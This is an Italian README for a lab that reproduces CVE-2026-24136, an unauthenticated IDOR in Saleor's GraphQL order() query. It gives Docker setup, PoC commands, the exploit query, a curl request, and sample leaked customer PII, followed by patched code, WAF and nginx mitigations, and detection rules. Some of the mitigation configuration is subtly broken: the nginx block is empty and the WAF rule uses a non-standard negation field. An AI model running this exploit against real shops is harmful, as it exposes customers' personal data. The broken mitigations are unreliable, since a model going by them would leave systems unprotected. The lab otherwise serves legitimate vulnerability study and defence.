
CVE-2026-24136 | Laboratorio per sfruttare la vulnerabilità IDOR su Saleor GraphQL - la query order() non verifica l'autenticazione, espone tutti i PII (email, indirizzo, numero di telefono) dei clienti. Include ambiente Docker, script di seed data e PoC. CVSS 4.0: 8.7 ALTO.
| Campo | Dettaglio |
|---|---|
| CVE ID | CVE-2026-24136 |
| Tipo di vulnerabilità | IDOR - Autorizzazione bypassata tramite chiave controllata dall'utente (CWE-639) |
| Software | Piattaforma e-commerce Saleor |
| Versioni affette | 3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28 |
| Versioni corrette | 3.20.110 · 3.21.45 · 3.22.29 |
| CVSS 3.1 | 7.5 ALTO (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS 4.0 | 8.7 ALTO |
| Impatto | Un attore non autenticato può leggere i PII (nome, indirizzo, telefono, email) di qualsiasi ordine |
| Autenticazione necessaria? | No |
Saleor fornisce un'API GraphQL per gestire gli ordini e-commerce. La query order(id: $id) consente di ottenere i dettagli di un ordine tramite ID globale. Nelle versioni affette, questa query non verifica se il chiamante ha il permesso di visualizzare quell'ordine.
Chiunque, anche un utente completamente anonimo senza account, può chiamare questa query e ottenere tutti i PII del cliente: email, nome completo, indirizzo di spedizione, numero di telefono, cronologia degli accessi.
cve-2026-24136-lab/
├── docker-compose.yml # Ambiente di laboratorio (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1 # Script di avvio automatico (Windows PowerShell)
├── setup_lab.sh # Script di avvio automatico (Linux / WSL / macOS)
├── README.md
└── scripts/
├── start_api.sh # Wrapper di avvio: correzione bug wsgi + gunicorn
├── seed_data.py # Crea account vittime e ordini con PII
└── poc_cve_2026_24136.py # PoC di sfruttamento
pip install requests# Concedere i permessi di esecuzione se necessario
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# Eseguire la configurazione automatica
.\setup_lab.ps1
chmod +x setup_lab.sh
./setup_lab.sh
# 1. Avviare i container
docker compose up -d
# 2. Attendere che l'API sia pronta (~60-90 secondi)
# Verificare: curl http://localhost:8000/health/
# 3. Creare un account amministratore
docker exec cve_saleor_api python manage.py shell -c \
"from django.contrib.auth import get_user_model; U=get_user_model(); \
U.objects.filter(email='[email protected]').exists() or \
U.objects.create_superuser('[email protected]', 'admin')"
# 4. Popolare prodotti/canali
docker exec cve_saleor_api python manage.py populatedb
# 5. Creare i dati delle vittime (account + ordini con PII)
cd scripts
pip install requests
python seed_data.py
Endpoint dopo l'avvio:
| Servizio | URL |
|---|
cd scripts
# Visualizzare la spiegazione tecnica
python poc_cve_2026_24136.py explain
# Sfruttare da un elenco già seminato (RACCOMANDATO - Saleor 3.x usa ID UUID)
python poc_cve_2026_24136.py file order_ids.json
# Sfruttare un singolo ordine tramite ID globale base64 diretto
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...
# Enumerazione sequenziale (funziona solo con Saleor < 3.x che usa ID interi)
python poc_cve_2026_24136.py enumerate --start 1 --end 100
# Cambiare l'API di destinazione
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json
# Salvare i risultati in JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json
[*] Caricati 6 ID ordine da order_ids.json
[*] Interrogazione senza autenticazione...
[*] Tentativo: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)
╔══════════════════════════════════════════════════════════════╗
║ [PERDITA] ORDINE #41 -- BOZZA ║
╠══════════════════════════════════════════════════════════════╣
║ Email : [email protected] ║
╠══════════════════════════════════════════════════════════════╣
║ Indirizzo fatturazione : Nguyen Van A ║
║ Via : 123 Le Loi Street ║
║ Città/CAP : HO CHI MINH CITY 700000 ║
║ Paese : Vietnam ║
║ Telefono : +84901234567 ║
╚══════════════════════════════════════════════════════════════╝
[*] Ordini compromessi con successo: 6/6
Saleor utilizza "Identificazione globale dell'oggetto" secondo lo standard Relay GraphQL. Ogni oggetto è identificato da un ID globale nella forma:
base64("<TypeName>:<internal_id>")
Per gli ordini in Saleor 3.x:
# internal_id è un UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id = base64("Order:" + internal_id)
= "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"
Nota: Saleor 2.x usava ID interi sequenziali (
Order:1,Order:2, ...) quindi più facili da enumerare.
Saleor 3.x è passato a UUID, quindi l'attaccante deve ottenere l'UUID in altro modo (email di conferma ordine, URL trapelato, ecc.).
File: saleor/graphql/order/resolvers.py
# VERSIONE VULNERABILE (prima della patch)
def resolve_order(root, info, id):
"""Risolve l'ordine per ID – nessun controllo di autorizzazione."""
_, pk = from_global_id_or_error(id, Order)
return qs.filter(pk=pk).first()
# Chiunque chiami ottiene i dati, nessun controllo su utente o sessione
File: saleor/graphql/order/schema.py
# Definizione della query, nessuna dichiarazione di permessi
class OrderQueries:
order = graphene.Field(
Order,
description="Cerca un ordine per ID.",
id=graphene.Argument(graphene.ID, description="ID dell'ordine."),
)
def resolve_order(self, info, id):
return resolvers.resolve_order(info, id)
# Nessun @permission_required, nessun guard
La query inviata non ha header Authorization:
query ExploitOrder($id: ID!) {
order(id: $id) {
number
status
userEmail
billingAddress {
firstName
lastName
streetAddress1
city
postalCode
phone
}
shippingAddress {
firstName
lastName
phone
}
user {
email
firstName
lastName
lastLogin
isActive
}
}
}
# Invio con curl, nessun token necessario
curl -s http://localhost:8000/graphql/ \
-H "Content-Type: application/json" \
-d '{
"query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
}'
# Risposta (senza auth):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}
Attaccante (anonimo) API GraphQL di Saleor
| |
|── POST /graphql/ ─────────────────────>|
| Content-Type: application/json |
| (NESSUN header Authorization) |
| {"query":"query { |
| order(id: \"T3JkZXI6...\") { |
| userEmail |
| billingAddress { phone } |
| } |
| }"} |
| |
|<── HTTP 200 OK ─────────────────────── |
| {"data": {"order": { |
| "userEmail": "[email protected]", |
| "billingAddress": { |
| "phone": "+84901234567" |
| } |
| }}} |
| |
File: saleor/graphql/order/resolvers.py
# VERSIONE CORRETTA (>= 3.20.110)
def resolve_order(root, info, id):
"""Risolve l'ordine per ID con controllo di autorizzazione completo."""
_, pk = from_global_id_or_error(id, Order)
order = qs.filter(pk=pk).first()
# Guard 1: Staff e App possono visualizzare qualsiasi ordine
if requestor_is_staff_member_or_app(info.context.user, info.context.app):
return order
# Guard 2: Utente non autenticato → restituisce None (nessun errore per evitare leak di esistenza)
if not info.context.user or not info.context.user.is_authenticated:
return None
# Guard 3: Utente autenticato può vedere solo i propri ordini
if order and order.user_id != info.context.user.pk:
raise PermissionDenied(
"Non hai il permesso di accedere a questo ordine."
)
return order
File: saleor/graphql/order/schema.py
# Aggiunta annotazione per documentare i permessi richiesti
class OrderQueries:
order = graphene.Field(
Order,
description=(
"Cerca un ordine per ID. "
"Richiede autenticazione. Gli utenti staff possono accedere a tutti gli ordini. "
"Gli utenti normali possono accedere solo ai propri ordini."
),
id=graphene.Argument(graphene.ID, required=True),
)
Richiesta: POST /graphql/
Corpo: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(Nessun header Authorization)
─────────────────────────────────────────────
PRIMA DELLA PATCH (≤ 3.20.109):
HTTP 200 OK
{"data": {"order": {"userEmail": "[email protected]"}}}
→ PII esposti
─────────────────────────────────────────────
DOPO LA PATCH (≥ 3.20.110):
HTTP 200 OK
{"data": {"order": null}}
→ Restituisce null, nessun errore (intenzionale – per impedire
all'attaccante di sapere se l'ordine esiste o meno)
─────────────────────────────────────────────
null invece di un errore?Restituire null invece di PermissionDenied per richieste non autenticate è una scelta progettuale voluta:
PermissionDenied → l'attaccante saprebbe che l'ordine esiste (oracolo di esistenza)null → l'attaccante non può distinguere tra "nessun permesso" e "non esiste"Questa è una tecnica di controllo dell'esistenza a prova di timing applicata a livello GraphQL.
raise PermissionDenied?Perché quando si è loggati, segnalare l'errore in modo chiaro aiuta il debug. L'oracolo di esistenza non è più un problema perché:
ID interi (Saleor 2.x):
Order:1, Order:2, ..., Order:N
→ Servono O(N) richieste per enumerare N ordini
→ L'attaccante può conoscere il numero totale di ordini (tramite ricerca binaria)
UUID ID (Saleor 3.x):
Order:460d1e27-2b0b-4897-84c9-64b524b08d64
→ Spazio di ricerca: 2^122 (UUID v4 ha 122 bit casuali)
→ Brute force in pratica impossibile
→ Ma gli ID vengono comunque divulgati tramite: email di conferma ordine, URL nella dashboard,
risposte API, log → se l'attaccante ottiene un ID, può ancora sfruttarlo
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AV:N – Vettore d'attacco: Rete (sfruttabile via internet)
AC:L – Complessità d'attacco: Bassa (nessuna condizione speciale)
PR:N – Privilegi richiesti: Nessuno (non serve account)
UI:N – Interazione utente: Nessuna (non serve interazione della vittima)
S:U – Ambito: Invariato (interessa solo l'API Saleor)
C:H – Riservatezza: Alta (tutti i PII esposti)
I:N – Integrità: Nessuna (non si possono modificare dati)
A:N – Disponibilità: Nessuna (nessun DoS)
# Verificare la versione corrente
pip show saleor | grep Version
# Aggiornare alla versione corretta
pip install "saleor>=3.20.110" # se si utilizza il ramo 3.20.x
pip install "saleor>=3.21.45" # se si utilizza il ramo 3.21.x
pip install "saleor>=3.22.29" # se si utilizza il ramo 3.22.x
Bloccare le query order() da utenti anonimi:
# Nginx – bloccare query GraphQL order da richieste non autenticate
location /graphql/ {
# Se non c'è header Authorization e il corpo contiene "order("
if ($http_authorization = "") {
# Bloccare le query con segni di sfruttamento
# Nota: è una soluzione temporanea, non sostituisce la patch
}
proxy_pass http://saleor_api;
}
Con AWS WAF / CloudFront:
{
"Name": "BlockAnonymousOrderQuery",
"Priority": 1,
"Action": {"Block": {}},
"Statement": {
"AndStatement": {
"Statements": [
{
"ByteMatchStatement": {
"SearchString": "\"order\"",
"FieldToMatch": {"Body": {}},
"TextTransformations": [{"Priority": 0, "Type": "NONE"}],
"PositionalConstraint": "CONTAINS"
}
},
{
"ByteMatchStatement": {
"SearchString": "Authorization",
"FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
"TextTransformations": [{"Priority": 0, "Type": "NONE"}],
"PositionalConstraint": "EXACTLY",
"NegatedStatement": true
}
}
]
}
}
}
# Limitare le richieste da un singolo IP senza autenticazione
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;
location /graphql/ {
limit_req zone=graphql_anon burst=5 nodelay;
proxy_pass http://saleor_api;
}
Segni di sfruttamento nei log di accesso:
# Rilevare: un IP che invia molte richieste GraphQL senza Authorization
grep 'POST /graphql/' access.log \
| awk '$9 == 200 && !/Authorization/' \
| awk '{print $1}' \
| sort | uniq -c | sort -rn \
| awk '$1 > 20' # Avviso se > 20 richieste da un IP
# Rilevare pattern "order" nel corpo della richiesta senza auth
# (serve logging del corpo JSON)
Regola di allarme per Grafana / Datadog:
alert: SaleorAnonOrderQuery
expr: |
rate(nginx_http_requests_total{
path="/graphql/",
method="POST",
has_auth_header="false"
}[5m]) > 5
severity: warning
annotations:
summary: "Potenziale tentativo di sfruttamento CVE-2026-24136"
description: "Alto tasso di richieste POST GraphQL non autenticate"
# Fermare e rimuovere container + volumi (elimina tutti i dati)
docker compose down -v
# Solo fermare i container (mantiene i dati)
docker compose stop
Avvertenza: Questo laboratorio è solo a scopo di ricerca, studio e scrittura di report di sicurezza.
Non utilizzare il PoC su sistemi reali senza autorizzazione scritta.
| API GraphQL di Saleor | http://localhost:8000/graphql/ |
| GraphQL Playground | http://localhost:8000/graphql/ |
| Dashboard di Saleor | http://localhost:9000 |
| Amministratore | [email protected] / admin |